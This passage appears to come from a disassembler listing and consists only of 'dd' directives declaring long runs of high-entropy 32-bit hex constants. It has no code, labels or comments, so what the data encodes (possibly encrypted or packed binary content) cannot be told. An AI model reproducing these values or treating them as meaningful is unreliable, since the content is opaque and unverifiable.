		dd 0DB278B82h, 0C3D6C4B4h, 975CA73h, 2654EDh, 0A34F9AA9h
		dd 0CD9303CDh, 50F0447Fh, 0EEC67DDBh, 678F936Ch, 576B7FE3h
		dd 4435918Eh, 7BF200EBh, 0A770BD2Fh, 85F1622Eh,	23961D93h
		dd 0EA71B138h, 0A264EDC6h, 0B633D58Dh, 0DFD0A2CCh, 0E70093F5h
		dd 7C8916F7h, 0EFB4AED4h, 738CD6Dh, 68C1D6F9h, 0F0C9EE52h
		dd 0D1BCBA48h, 0BFF5C5Bh, 1D4F24C6h, 0D3CE3236h, 0C5AC5457h
		dd 6A3DDF72h, 77BF78E0h, 57721304h, 0E2E7F62Ah,	66D37F27h
		dd 35020AABh, 4248284Bh, 8F2DC1CAh, 603C13D3h, 8846C0DEh
		dd 0D1B7AAEh, 5F4C84EEh, 6365FC39h, 0C14110F3h,	8AD73C1Eh
		dd 8024E50Ch, 68840D09h, 0CC79CA28h, 4E5C9D08h,	9087846Fh
		dd 71C42864h, 17803D81h, 28CF72DDh, 1336C8B6h, 0BA2FC6CFh
		dd 0A5B1485h, 0EBD092F6h, 0D2747200h, 262400D7h, 0E4007240h
		dd 74519702h, 0A9240E4h, 0B471EA79h, 1D7BD941h,	18EAA05Fh
		dd 0A2A4BC0Ch, 0DC242049h, 75F15D0Bh, 2E62417Dh, 0AA152714h
		dd 955D24Ah, 0D20D803Bh, 8FA64203h, 3FE8E812h, 0E15B32DDh
		dd 0CA704BABh, 7E719D82h, 8B12B985h, 729E648Dh,	9BDA2A15h
		dd 0A8294844h, 0D7C260AFh, 13F6A082h, 6BB31583h, 1CD2AF77h
		dd 0F08292Fh, 96466DBEh, 0AF5E35CBh, 7D3B72E4h,	0D3F11F2Fh
		dd 485E2790h, 0C579B809h, 93F3A839h, 509A476Fh,	0FDC6A457h
		dd 3C85EE8Ch, 84DC4094h, 0CF7B0B1Eh, 91161BB3h,	0C25FE8DFh
		dd 17FFF12h, 154F35A7h,	4DDB3455h, 9059C58Dh, 4C10B7DAh
		dd 0DBDE04BBh, 813D69F8h, 0B7A36BC0h, 63BFFDC7h, 3F1186D6h
		dd 0F81DE040h, 7FEBE7FCh, 95E53B10h, 0AA6CB9E1h, 3A11BB5Ah
		dd 15828DB7h, 5E16A7D8h, 5A9DEE71h, 3B975890h, 4B04E47Ah
		dd 8F4A6B9Fh, 183E94F9h, 62D7D205h, 6E0D8CD7h, 4E8E16D5h
		dd 9B19E5D6h, 58B002D1h, 0B655FE1Fh, 8B945191h,	652E32D4h
		dd 0D1C35BC9h, 3B992F78h, 0EB4D90D5h, 0F4314322h, 0D5D9064Ah
		dd 5BA8596Ch, 0C4A9D73Ch, 5FB6760Dh, 0D3494BD4h, 0F74783E2h
		dd 17B7C30Bh, 0C356F468h, 10F90DD8h, 5D567FA0h,	64928B51h
		dd 3823853Bh, 0CCF8ECBh, 0DA69FC2Dh, 8FDC3F58h,	0BEB20FC0h
		dd 64C7E298h, 0C2FD7F2Dh, 0C7BB310Eh, 0C74B76EBh, 5DAF119Ah
		dd 1516AEADh, 0C19878B4h, 30E34BC2h, 11814FEBh,	4DC0902h
		dd 6A5333BAh, 672035EFh, 73D05E60h, 50276C53h, 0BB0D0FC7h
		dd 1A8D7512h, 6BA68D9Ch, 7BEC2791h, 0C139BF33h,	0ABEB26FFh
		dd 0A1935103h, 666A1E24h, 2299163Fh, 3678631Ch,	55255F68h
		dd 0D67D3A73h, 0F3BABBCh, 3528E212h, 1007133Eh,	34B3BFDDh
		dd 0A1B1F1C1h, 0F859F818h, 0C3F08D35h, 0F419F2E8h, 43971A86h
		dd 4C134820h, 0D0B597AAh, 1D8ACF57h, 3C50EAAEh,	89CBF2B6h
		dd 0D18DAAECh, 0CA961596h, 0F60F5E3Fh, 982464AAh, 6DCCA1ECh
		dd 872D640Ch, 4AB4FA92h, 0B34DD9B0h, 5E0C76D8h,	78002CB4h
		dd 0C87BC836h, 0C8F494CCh, 0B249E3CBh, 499A3C1Ah, 649D1AE5h
		dd 0DC3ACB2Bh, 14012FC7h, 0FF829F98h, 22693255h, 0F3D28242h
		dd 1DFE45AEh, 626C6809h, 2222386Ch, 555E6C9Dh, 2BEC6136h
		dd 0D23C1C2Dh, 4222D027h, 0AEAA6230h, 0B286D873h, 3A770545h
		dd 0E04F5138h, 0C9116982h, 80E23C28h, 12458BACh, 0D79EECF4h
		dd 0F0DFF37h, 8A51C768h, 0CF0811E7h, 0EF7109EEh, 0D6A62959h
		dd 60E1DEDDh, 2640B6B5h, 9FDEC4DDh, 0E266F431h,	0C5E6A48Ch
		dd 2E00F27Fh, 901060CFh, 0C34C3DB8h, 7D4CA338h,	0ED02F26h
		dd 0E203EB7Bh, 3C100BFDh, 5693AF85h, 3FE5B013h,	0A75F56FBh
		dd 0DDA16D4Bh, 8773874Eh, 0B7490BB0h, 0BF6E28AEh, 0A8C2BAF5h
		dd 8B1D7083h, 278A0285h, 2E6730F8h, 0B0A95E0Bh,	9DB30D02h
		dd 0F9435E59h, 0BF5D6CEEh, 4D990A04h, 0F043F4C7h, 0F3ACBBE0h
		dd 7953C29Fh, 0DDA8F04Ah, 0C28AC492h, 0BC3F3E74h, 5AF08640h
		dd 27098137h, 8A7EDBF9h, 9CE97351h, 63430EBDh, 0C9C51346h
		dd 0BCE2CFADh, 0A561D7D6h, 0B4466E2Eh, 7BE045ECh, 864EE20Ah
		dd 0E7A1EE26h, 8993C828h, 0A1E68337h, 306FD49Bh, 0AB649B78h
		dd 82CADB62h, 0EA2822DEh, 0F7407C0h, 346250ACh,	0F67AAB1Eh
		dd 0B3D4995Ch, 56E6E362h, 42EF8288h, 0B891C757h, 9BB9D809h
		dd 0D0725275h, 1DA44AB3h, 0CC94348h, 5C44FA99h,	0FCD80E0Dh
		dd 9BF5A52Dh, 8D52ED11h, 0AF452C0Bh, 9383C09h, 83D42949h
		dd 54CEA970h, 53CC0E62h, 6C222775h, 0D4D8E20Ah,	223C2FB3h
		dd 0C1023Bh, 0A5939ADBh
		dd 0FF538FF1h, 5DB472FFh, 0B2BD13CEh, 0BAB9527Ah, 763D3CECh
		dd 40B5C8D3h, 0E6BF33CAh, 74B19EFDh, 514E0F43h,	0E0A6AEF9h
		dd 0AFA63BA4h, 63875A1Ch, 0EE76F87Ah, 621B1BFAh, 94C2DE73h
		dd 0F513A165h, 806DAA47h, 0B28881F8h, 370EE042h, 0ECCD3132h
		dd 88BAF136h, 0AE1151E3h, 0FF74AA59h, 87FE7D48h, 6FA31481h
		dd 960E0A81h, 472C7FF3h, 557C6171h, 0B5641C9Bh,	0EB66F085h
		dd 0B332B235h, 0EAE30C26h, 75FB6E4Dh, 0E7B91BDEh, 7C8A2607h
		dd 0CBD72220h, 3E862D90h, 0FDFB6A3Eh, 60BEE7BCh, 98EE8321h
		dd 0DA2C6E76h, 5A9D17D3h, 0A1B8E72h, 2252F53Bh,	0CFE4167Bh
		dd 1B95015Ah, 0E9E403Bh, 0FA1E6D0Fh, 0BA02B2E1h, 58CB54F0h
		dd 206F84B6h, 1E9FDD98h, 96B4421Ah, 0AEF87AA6h,	3850BBD8h
		dd 0DCC96CBh, 0FD72D405h, 4688D0C2h, 84DE8888h,	3AE18B2h
		dd 48BAB224h, 0EC45C72Ah, 3FC22E62h, 1FD4C61Eh,	0F4DEB415h
		dd 9492EB25h, 0E5FE3009h, 788263E0h, 17AFCBDEh,	497E908h
		dd 4DC49E28h, 4E5DC7B6h, 367AC9A7h, 603479DDh, 6D6BA63Bh
		dd 0A4D252C4h, 72583358h, 275198E7h, 0FFF354B5h, 89F588BAh
		dd 2A70B7E9h, 0D77E9098h, 40F34E9Eh, 0CCDF2FC6h, 17BDDBE4h
		dd 26B18C31h, 0C080E2A3h, 22BA0E1Dh, 89A9DCFFh,	80615DBCh
		dd 41937BF4h, 0F935D690h, 5E3CC45Eh, 75BB4F88h,	6358C235h
		dd 42543F3Ch, 4383739Eh, 0F639F38Dh, 0E05A45FCh, 0C29069FCh
		dd 8BACAAA0h, 7FA2F39h,	0C22D7201h, 4C362B49h, 60C142E0h
		dd 4D9BE705h, 66690033h, 0DD0AEF4Bh, 6E83C731h,	49DE387Ch
		dd 77CF9B45h, 236239EFh, 0FB756396h, 0C5B5176Eh, 5B3C8901h
		dd 0B0AECEE6h, 2F334A22h, 0B89E562Dh, 0D6E3159Bh, 60DB733Eh
		dd 56C6F468h, 0E33AD5E2h, 0AE8437C0h, 5B770731h, 6191554Ah
		dd 0E5CE808Ch, 73364FCAh, 0D14121A3h, 0DB1629DBh, 6B52094Bh
		dd 3AE3750h, 0DA43ED7h,	0C1B7939Ch, 5BCBFCBCh, 1DBD7E28h
		dd 73409A03h, 5E4C5DFDh, 6242172Dh, 7B592771h, 247A8BAFh
		dd 0B923A69h, 174157EAh, 0D0721783h, 994639Ah, 0B250C036h
		dd 1BA14DDEh, 24EFC305h, 0FED51208h, 8B942D41h,	1F5033B0h
		dd 9C747E8Bh, 0D76C6FC6h, 41D1464Dh, 0D78F68Fh,	0F471F3CCh
		dd 7037936Eh, 126FA862h, 7A29C02Ch, 246D8CF0h, 30BE081Ah
		dd 0D9163BC8h, 3B87A886h, 54919FC4h, 3A9048BAh,	89DCEF37h
		dd 0DC844F30h, 88BE8D96h, 3A6D3F02h, 0CEF17A18h, 2C45158Eh
		dd 108C320Eh, 0EB578250h, 896351F0h, 1EC525F4h,	572C531Fh
		dd 9D10BA6Bh, 0D2C60EC3h, 92F7175h, 54F001A6h, 14AF702Bh
		dd 100B1EC7h, 0A0911588h, 2EA09ECAh, 0AE046A86h, 42A3BD64h
		dd 684A065Ah, 4B0F3445h, 0F68A8E20h, 76DB0CF0h,	8C5A9D06h
		dd 759C8C38h, 0B17774C0h, 2FF1759Ah, 0EC385DE7h, 0E5B15Dh
		dd 0A1721052h, 0D0B01C19h, 320CA174h, 0D0D8B9C9h, 216FBF3Dh
		dd 0A34FAEA0h, 798AB62Bh, 2E9EBAC7h, 62DF6C8Eh,	3568674Eh
		dd 5F46404Dh, 0C9B8B5D6h, 64152340h, 0E8E5C0FAh, 41708972h
		dd 1ED00B60h, 27704FECh, 0C55F22AFh, 0CD2094D2h, 7C86BD90h
		dd 1AF39FD5h, 0AF058B63h, 4E667FBDh, 57A3AC8Ah,	0C061AF64h
		dd 50A10466h, 0FD42D26Ah, 203BA842h, 0D6BC8B4Bh, 3A0B9BA6h
		dd 44D8B87Bh, 518935FCh, 859AC7EEh, 0DFC9325Ah,	0B9D062D7h
		dd 0EC24086h, 0A214E689h, 0F1FB3AC8h, 839456F5h, 0D7C356CCh
		dd 469345A7h, 61ACF1Ch,	8AB56404h, 0C485A6A6h, 0D2619A82h
		dd 13A65701h, 0A9AEB0ECh, 0F2803D2Ah, 66CB13E5h, 6E082073h
		dd 0BDD1512Fh, 2F33B30Bh, 7472AF6Ah, 0EE13CFA4h, 41C042E4h
		dd 7AA0D83Ch, 303B149Ah, 0F73AD29h, 62E9279h, 20E36249h
		dd 7B017A34h, 254B1B72h, 552B75B8h, 87F20D31h, 3CF32E7Eh
		dd 15ADED61h, 58801AE2h, 0F180C56Eh, 9D368F0Dh,	0F2924CF6h
		dd 3082ECD9h, 0B6E5D96Bh, 80FB88CEh, 8BB435E3h,	0CBFE7B33h
		dd 2DA87E88h, 0D615ABE6h, 7D9FCA1Ch, 53EB2562h,	7FEB9FA2h
		dd 8BC998C8h, 2B9F1329h, 0C92E3115h, 7D13461h, 8CD23FE3h
		dd 0D9E02973h, 30835CF8h, 4DD12CE4h, 3C50AA60h,	0DB8145B3h
		dd 0B39DC936h, 111500h,	0F5E81BA3h, 0BBF739ABh,	36A7DBEEh
		dd 3EF35EABh, 1EC089D1h, 0F5AAFA75h, 331C2F7Dh,	7B774246h
		dd 961E854Ah, 502DDC40h, 0C7576C83h, 0F38C1F0Eh, 9F02F865h
		dd 0AD7CA9DAh, 5FE140BFh, 7AFF99AAh, 0D48882h, 226FCB03h
		dd 12185F3Bh, 0A17C39EBh, 0EADF1963h, 0F2ADA901h, 766587A7h
		dd 2BBE8930h, 0D7F1070Bh, 1948DE08h, 0CC21A91Ch, 5A4DFD7Fh
		dd 3DB30190h, 5D25DA84h, 426D3D8Eh, 9097E7D6h, 78BA7BC5h
		dd 0E1AA9C43h, 151933E3h, 0B9E48711h, 0E7A2A5F7h, 16A26326h
		dd 0B798E0B5h, 0D87D0DB2h, 0CB88C264h, 8B6019CDh, 0C92231Ah
		dd 0B406E6A7h, 0D21878F0h, 0A9505CCh, 0C80CD8EBh, 0A992627h
		dd 0B7151A0Eh, 3B21CCB6h, 0E4BAEC42h, 5E55A5ADh, 9D145C43h
		dd 0BBED7624h, 36C2609Fh, 9CE1F941h, 34BC5063h,	4072A720h
		dd 80C420F5h, 0F9E49BECh, 0C379A8A8h, 7534EA3h,	32389E4Eh
		dd 0C5D08D9Ch, 3FCD7818h, 0B374C301h, 94A8DBDAh, 62B87726h
		dd 5252178Eh, 32659A66h, 6F7362A5h, 0D93472A2h,	0A381FAA8h
		dd 0B046FC2Ah, 0B513EB1Fh, 7CD30096h, 9D503730h, 8F239349h
		dd 11BF24D3h, 0B82C23C7h, 2411A48Ch, 3B47449Eh,	33FE1575h
		dd 10721069h, 91565C06h, 4A3ECDC4h, 156AE901h, 0EBC124F6h
		dd 0BBD15B0Bh, 0E2673D4Ch, 64DA5CD9h, 0A5DED33h, 0D083EB6h
		dd 88C3F1F1h, 3CC60642h, 3B467C91h, 89519750h, 0B6929550h
		dd 0C036D260h, 0DBC80DEh, 5AD1685Eh, 4D3A3432h,	8C2626FCh
		dd 77ADE994h, 486A48F4h, 0A07ECF54h, 4E8C76DBh,	8146F2Ah
		dd 0BBBB302Eh, 0E812D3C9h, 79E435A8h, 6C8A9E6Dh, 189C00AFh
		dd 0B5BA584Ah, 9B0794E2h, 2AF1CBEh, 0DB599ADh, 0B6CB2FA4h
		dd 0B4CC8CF2h, 75DEC64Ch, 1F53C607h, 4658BF80h,	170F6F9h
		dd 0AF35E407h, 4646144Eh, 0FD7BFC84h, 6A5CCC6Ah, 28147C0Bh
		dd 0A1E9918Eh, 63620E18h, 4F32F2A7h, 53BEC4ACh,	38E2B77h
		dd 59907EE8h, 0AE9200CDh, 6CC58A33h, 0B30A77BBh, 1FA16FFBh
		dd 884A0D28h, 2B31AF7Eh, 4AD6023Eh, 80318670h, 0C8148F2Dh
		dd 0CBF178DFh, 3A4B0D40h, 99DE1232h, 0B481E7EBh, 0EFA61A3Dh
		dd 0B1FCA500h, 67CB956Eh, 5898B190h, 83FF2B49h,	54671CA9h
		dd 53AFCD8Fh, 0E7B30E1Ch, 746254B4h, 0B9773D4Bh, 0CBAC7EDBh
		dd 0BDC876ACh, 1750909Bh, 29D7C063h, 0BE069BBDh, 0B4D4D2C7h
		dd 6AD6E059h, 9A0EB275h, 7A4B0E24h, 5E0A3264h, 41A58C9h
		dd 0CCB41362h, 43B9521Ch, 0C8BF6D23h, 7BF92974h, 32F9F73Bh
		dd 0DCCC051Dh, 75FDB86Ah, 0C71E4E52h, 0E6B299B8h, 9ED98F82h
		dd 62E8513Dh, 14A92457h, 0A945B50Fh, 31364BCEh,	0CDBC1721h
		dd 40323EC8h, 0B6D8DD37h, 0FD020C87h, 0D8630E2Ah, 6E8FF0C7h
		dd 0C1B3EFBDh, 1BBB9581h, 0D7CBC4E0h, 26BDE20Eh, 0BEF5CF18h
		dd 4A24AF7Eh, 0A0DED70Dh, 0FAE05B35h, 2C9295FFh, 3493657Ch
		dd 2DC4D4AEh, 0EC34ACAFh, 53ED6F35h, 61969DBBh,	46CFDB10h
		dd 0E6DECA3Bh, 0B0AA1079h, 0E4C5E5E2h, 2310C0DDh, 0EA7FC0CFh
		dd 0DF46BBB6h, 8110D51Dh, 53B1B917h, 28413D38h,	8A6F954Dh
		dd 0BB9F3A2h, 0FC13004Eh, 5DA85268h, 2BA63324h,	0C545153Fh
		dd 0FA3EE4B1h, 26F05672h, 8D6CB803h, 1BDC99F5h,	0ADB91B51h
		dd 0B452A874h, 34CA77EDh
		dd 2E71FB51h, 0FFDC1C88h, 7CDBBB9Fh, 0C2E40D0Bh, 0D9EEA02Ch
		dd 0C0AE32CAh, 7DD24723h, 8F8264DBh, 41933330h,	484CA271h
		dd 0D9C91D6Dh, 0FC3118E4h, 6C7537D6h, 789ECB00h, 4D8F065Dh
		dd 0AA0A033Ch, 726CC17Fh, 0AA9C9DB0h, 7E16D190h, 0CCE68FE8h
		dd 0ECFBDB4Bh, 635D8444h, 73B45303h, 1C98C582h,	919798CFh
		dd 28FB9E3Ch, 542B3A35h, 9D98CCC1h, 832D604Eh, 0D820B199h
		dd 4D034BBAh, 0D0B2A8AEh, 77E8C137h, 0DA05C3FDh, 792637BCh
		dd 5418C718h, 7D4AA629h, 3243BCB3h, 69215EB5h, 0B26E44D0h
		dd 9E6D5740h, 70DAF78Ah, 4B1AE639h, 0AC5AFAE1h,	0C48E5A47h
		dd 4D2ED0Ah, 0B1C1E3D8h, 64831C40h, 3F06743Ah, 0D98A7A6Eh
		dd 8D2CA275h, 0EF41B3E7h, 0CF9A6610h, 2D9F5AEFh, 3B8B09AEh
		dd 8AD720B1h, 30FF9739h, 5787E0EAh, 274F1577h, 4E4B9150h
		dd 1FB03C37h, 1DB76587h, 0CFADC21Fh, 97D685B8h,	0F2AAE89h
		dd 41CE3E1Dh, 471B3EFEh, 5878FB3Fh, 27C40BFDh, 0BBAD04E4h
		dd 55393F9Dh, 8AC707EAh, 0E40AE1Dh, 0BBE60F61h,	3F91390Dh
		dd 0B797CBAAh, 0F5FA2CB0h, 1AFD5AC7h, 0C73341B8h, 8CD8EE2Dh
		dd 7B0E62E9h, 6071AC22h, 0EAE685A2h, 2F10B9FCh,	0C2441674h
		dd 0B117DB50h, 4669ECD2h, 0E91A686Dh, 7D0A6C44h, 41E301DBh
		dd 92C4A63Ah, 0C8A8E2Fh, 1A4B5922h, 0D7BECE05h,	428CD4B4h
		dd 70CC8ABEh, 38C3FF29h, 3719C330h, 0D651ECA8h,	3B62E9C1h
		dd 8BE8A747h, 20D33BADh, 863EAA81h, 26ADECDEh, 0A34B9D6h
		dd 0CBA740A4h, 21E98B0Ch, 1F7EAEF2h, 2E1A87h, 23FD3C9Ch
		dd 0A1F4CE5Eh, 32C5CD90h, 1DC19299h, 13592E85h,	454C8952h
		dd 9D666D09h, 0B79DDBFh, 59599960h, 1B92BFD6h, 0BD30A6F5h
		dd 483B18EDh, 1164EFA2h, 7D042631h, 225C3ABEh, 5FD7A9D8h
		dd 5ECF66B0h, 7AF6001Ch, 39604A43h, 6D68C365h, 3EC0EFB7h
		dd 53554722h, 0E106ABC5h, 0EA3D0DACh, 37B4E287h, 33C76008h
		dd 9F4D6F98h, 0AF0AB99Ch, 1BFDA1A8h, 0CACD5C14h, 73AEF7B8h
		dd 16A28C6h, 33581EDCh,	15A4375Dh, 25ED8109h, 7F383F67h
		dd 9F476CBBh, 0BD271E20h, 74B0166Bh, 0BD6DD983h, 7037ABBDh
		dd 0E700CE68h, 12795497h, 0EC5D0026h, 83B93017h, 56A0EB46h
		dd 4554795Ch, 0CEAA546Ch, 703B2AD9h, 8E0AEFCCh,	0CFBCB15Dh
		dd 9BC0782Eh, 0DFD19239h, 8A6F0BE0h, 0FA85EF4Bh, 0EADB08D3h
		dd 8C953882h, 5AB02F87h, 0C020F5EBh, 5AEEAF2Ah,	69A8404Bh
		dd 0D6DFB746h, 0D906B2B8h, 0D403B5A1h, 0CA583B9Eh, 0E70E6033h
		dd 0E2A353A6h, 0C7F6FB64h, 29A1A5DBh, 1476778Dh, 0FC3AEDE9h
		dd 6834CCFEh, 99451610h, 0B7B83C23h, 2B7B6E92h,	0BBA9A635h
		dd 0BE93D9CFh, 53D0CC9Ch, 0DD4D4751h, 3CF8527Fh, 7558AFDEh
		dd 76AF2FBDh, 92AFF687h, 1BC67BCFh, 7968A02Ah, 1B658E26h
		dd 68758D7Eh, 373EC1B3h, 4E83C9DFh, 45FA2432h, 5AC22574h
		dd 6BEED439h, 4BE005E7h, 0FA9674C2h, 0BBB21A1Eh, 0F2B3CFFEh
		dd 6130DA9Bh, 0F15ADC86h, 12A49217h, 32B8A118h,	80775105h
		dd 0A60A79F3h, 183BEDEh, 4F5C47B5h, 271B6F50h, 41AE010Fh
		dd 68AE2C47h, 9293E07Ch, 79453EF1h, 612170EDh, 4A90113Eh
		dd 0CEF67573h, 96D5F54Dh, 0C4530D21h, 3B1DC6B9h, 403AAA81h
		dd 0DD3F5292h, 4269B703h, 22287561h, 3ED8FA27h,	309F4F07h
		dd 90A4A466h, 714FB488h, 71827FBCh, 0B8BC31C0h,	8DB40F4Fh
		dd 46C27C50h, 9A82E65Dh, 0F1C9272Ch, 67DE4059h,	0DAB9620h
		dd 0E3BB358Fh, 91EA4A1Ah, 0A8B166EEh, 0D06B4759h, 0C4B8FF4Ah
		dd 0ED56C40Bh, 0F9C3B057h, 0F92BE5C8h, 0C0A3D8F9h, 2AFB3319h
		dd 0CF11F61Dh, 13546362h, 39F48D77h, 7E185994h,	0CDB44ABDh
		dd 285A96Ah, 78F3B1A2h,	0B79BF7B1h, 7404D70Ch, 908400DAh
		dd 67B3DCDEh, 0AE783970h, 2B65A016h, 99A31B3Ch,	965D31CFh
		dd 428A3959h, 0CDF58C3Ch, 0D7D90F0Eh, 0EE237D06h, 55784728h
		dd 770EE872h, 6CB6BD79h, 467C1A69h, 0C75F7CDBh,	75A49F18h
		dd 4825B498h, 8D8DD4DEh, 4DE5D6BDh, 0C7E1D816h,	0A3F89180h
		dd 0B19265C0h, 0FCCA7CF6h, 37ADC80h, 12F2487h, 0C0E11295h
		dd 1F71DEF8h, 0AC8B699Ah, 0CCA0ADAEh, 0D69B049Dh, 0D9C2D2F4h
		dd 0F509CF17h, 919FADA8h, 96AC853Ch, 0FDA165Fh,	110E1078h
		dd 269F0603h, 0F5D2F986h, 75233177h, 71BD521Ah,	0F66BA1F3h
		dd 0D3E278D8h, 0FF78EC0Bh, 25FF8D82h, 3F32173Dh, 0D3EEB401h
		dd 0F7337369h, 0AB8D86E2h, 0AC419573h, 34A06159h, 54335C07h
		dd 0D2D19B4Eh, 876DA93Fh, 0E70582E6h, 9CA86EDAh, 439AF5A2h
		dd 8026FF6h, 940B6B8Eh,	0CF752FB8h, 1ACE6583h, 0E4046510h
		dd 23B0EDA3h, 150F9649h, 0C6327557h, 0F9AE1C95h, 9D81D373h
		dd 3BAA6F65h, 0EBCA5A86h, 0AA86D0DDh, 5698CF43h, 0F23241B3h
		dd 0D21E2B2Ch, 16ED5162h, 0F08D37D7h, 4819DA87h, 0ECDAF287h
		dd 0FA5F882Ch, 0DFCAF014h, 57FDDC2h, 5E342964h,	5AD36AEDh
		dd 8EA98F87h, 0E9C7CBDCh, 4FD03470h, 55D0E4BDh,	0DF290DC7h
		dd 0CD56C419h, 5609E4B3h, 0DFBAD53Dh, 0F4DC7672h, 0B018009Dh
		dd 0CCA3BE6Ch, 63CD773Ch, 51618234h, 96C3FCEAh,	9A38D88Dh
		dd 82A40440h, 7A16889Eh, 0F0B3A203h, 97A14224h,	0C51A1709h
		dd 8EF9652Ah, 0F01280B6h, 0AEE7E06h, 361ADA9Dh,	0F6C08715h
		dd 0DC86BDC5h, 85D0F571h, 0EB0B4313h, 46D00806h, 93443969h
		dd 0FF2E91Ch, 1D345AA2h, 65959496h, 0D0D60B78h,	9FCBCCC7h
		dd 9B8EC516h, 0D5193C45h, 356C2068h, 0BA0FD809h, 0B950FB3Ch
		dd 7A0653FEh, 0CC628FD2h, 20AF15B7h, 0E6E94127h, 0BC341227h
		dd 231C842Eh, 0DFABF60Bh, 115F221Ah, 532B4C90h,	5D6A69ECh
		dd 0ABD183BAh, 0ABDAB855h, 0A439FBECh, 688B2AB2h, 34B5E8F2h
		dd 0C2D3FFABh, 0E8F99956h, 0F44835AEh, 0BE8AAFD3h, 8FD1DF27h
		dd 7B2D688Dh, 96970FBEh, 0A132B220h, 8B5ECCE8h,	8BFE89E5h
		dd 0A0CC66E5h, 2E81B3DCh, 45D6AFCDh, 1CD17369h,	0AB8EAF4Fh
		dd 6781C779h, 4783A1AAh, 666787AAh, 5442EBA9h, 0EB0941D5h
		dd 0A908909Dh, 0DCAFE0A3h, 3C1EC07Eh, 0AF5E06C6h, 3573F481h
		dd 0C839878Eh, 394BCFE0h, 1B75ED5Ch, 0AAB71FDFh, 798EDB19h
		dd 639FF521h, 8C9A4882h, 0D07F9C32h, 15CE365Dh,	26AD18D0h
		dd 0A27760Eh, 6D7D7957h, 9F9D0FD1h, 0C848D9E6h,	4F3DCDA5h
		dd 0CC39EE95h, 0D5C766EFh, 0BE96FB80h, 0F105E376h, 62B365C8h
		dd 811AE21Dh, 9FC403F6h, 66CB513Ah, 0D4405560h,	0FE43C607h
		dd 0ED0B14E4h, 8BFD1294h, 49BBD165h, 99E52BB9h,	0C7F5D8Fh
		dd 6F0FAFA5h, 86357D3Ch, 0E5DFD06Ah, 3040FCBBh,	3D89A0D1h
		dd 42CC521Bh, 20A12ADh,	45C41DB3h, 0FF08610Dh, 0EB166998h
		dd 0C2D01670h, 125B62B8h, 0FA91A238h, 58C684F7h, 2798368h
		dd 0B518965h, 641FA1D5h, 4FC0CACFh, 0AAAED0CFh,	9441D515h
		dd 8720152Bh, 6708AB81h, 3725DEBCh, 1D6B2A4Ch, 1FEA0A51h
		dd 44DDD278h, 28505AAh,	726237A0h, 26693FADh, 472EF2A4h
		dd 0DE7B2A55h, 38B8CECFh, 9BB6D897h, 3436A2C1h,	0BFCEFE46h
		dd 0F1BBC54Eh, 2FE6545h, 4AAC365Fh, 61B9917h, 48D743Dh
		dd 862165AEh, 2E41F0DDh, 1D992521h, 26BF252Ch, 0AED393EDh
		dd 6C194BC1h, 74F52183h, 0BE094C0Fh, 955D6320h,	2D9CFFB9h
		dd 12D4154h, 0A2103AFDh, 4349D9EAh, 0C17AA4Dh, 4E0C3C60h
		dd 0EA9F35ACh, 9AD9AC3Fh, 5F59ABA0h, 39D97F55h,	0CB61EAD7h
		dd 193301h, 992E7F4Eh
		dd 0CD6C6249h, 9316D0DBh, 0B3D9F71Ch, 0C40C7095h, 72284B05h
		dd 0DFFD26E9h, 0B858F824h, 2FFAB9C2h, 743CF686h, 724CD26Ch
		dd 0EBB5171Ah, 404E6703h, 0DDBE60DAh, 2ECB528Ch, 0C8BAD962h
		dd 12AC2EA4h, 34997B92h, 0EC20E7AEh, 505A6951h,	4951FEECh
		dd 0E873E981h, 5CB230F8h, 2BC9AD62h, 7BFE3922h,	81ED9760h
		dd 258AB7CCh, 4EE50EB4h, 0C43CE31h, 86C60607h, 60C9F92Eh
		dd 0C88E8CDFh, 0B604C623h, 6106B466h, 0DD1E34Fh, 488F1B87h
		dd 0B5FF0384h, 218C4C0Dh, 22300CA0h, 7E65E1E3h,	0C71F6993h
		dd 0ABCA9116h, 4B38A4BEh, 0F9B523AFh, 0DAE5E170h, 808FB5A8h
		dd 32E59A24h, 6CD477FAh, 0E3DE48BFh, 0F1EF289Bh, 0E9AF122h
		dd 0C4798789h, 0E0C071DFh, 0A3FED04Eh, 65D2E956h, 9AFF4BACh
		dd 0A102170Dh, 27E38114h, 0F84AAB9h, 0A3AD693Ah, 99364AFh
		dd 0F464C61Eh, 0DD267E8Eh, 3754F127h, 0E34642DDh, 6BF934C7h
		dd 276465FCh, 0C9B1809Fh, 0D20787EEh, 0C1745DF3h, 0A291E2D3h
		dd 0B7EACD1Fh, 8361A3B6h, 8626D123h, 6C428682h,	4A3B20A8h
		dd 2051B0EEh, 0F789B767h, 0C2F1AC51h, 489EFE9Bh, 0FAA7EBA4h
		dd 0B3E47A9Dh, 3032D23h, 4BB2F10h, 51DF4602h, 3D55E371h
		dd 4086D498h, 0D8D68E2Ch, 52BC0BE8h, 0A017933Bh, 91698AB3h
		dd 1D847F74h, 412B3AB3h, 629ECD27h, 0C14EDE06h,	10B21A29h
		dd 0F640DEEAh, 4655B1C3h, 8D1E7930h, 0DE8567FBh, 9BD53F5Ah
		dd 8FC6F21Ah, 0B07ACA7Ch, 2D6BEBBDh, 444A3F7Bh,	734A5A8Fh
		dd 5CE097C3h, 4158DDC6h, 590D9652h, 48E2F062h, 27B591CFh
		dd 6AFA4F27h, 1BB10160h, 7EB46A26h, 0FA8D15E1h,	0E0A952AFh
		dd 0EA120983h, 43E993C1h, 0B0892156h, 0E5D4CEA8h, 4DC43F56h
		dd 7ACB1E69h, 0AF4417DDh, 8C610C54h, 0C6935B8Dh, 9FF577C7h
		dd 0E53258A8h, 0C6890923h, 6EB5D567h, 14FEE0CEh, 0B44A1936h
		dd 0B58E1387h, 36207098h, 260F688Dh, 0A90F40C4h, 75B925D8h
		dd 39D5E1F0h, 0D4679A85h, 327F7CE1h, 8B46FDB5h,	6860E181h
		dd 2AFD5E9Dh, 0BD774DF3h, 23867CB2h, 0AF9AF93Fh, 0D2DAE642h
		dd 9D0B22F2h, 13909ECEh, 29EDFA42h, 9D7052CBh, 933E12EBh
		dd 52F05715h, 0F885DAEFh, 33DB0042h, 5C15D0A5h,	1FCE9553h
		dd 0C968ADD3h, 685CAFCAh, 9C0FBD80h, 75E92FF2h,	1973A945h
		dd 19921D16h, 8EB33B25h, 8FB285D0h, 30240D8Dh, 2751792Eh
		dd 9990778h, 79D19D9Ah,	11E7D44Dh, 8C0DAB15h, 7641A3DDh
		dd 94A1BD87h, 0CE9F9D1h, 2E5B4499h, 5C5FC9FBh, 25DB8618h
		dd 109249FDh, 0F4B3AF8Ch, 45EA48B2h, 47C0997Ah,	99DE39FAh
		dd 8322765Ah, 7E8BC2E3h, 0D08912A3h, 90281562h,	7446C25Ah
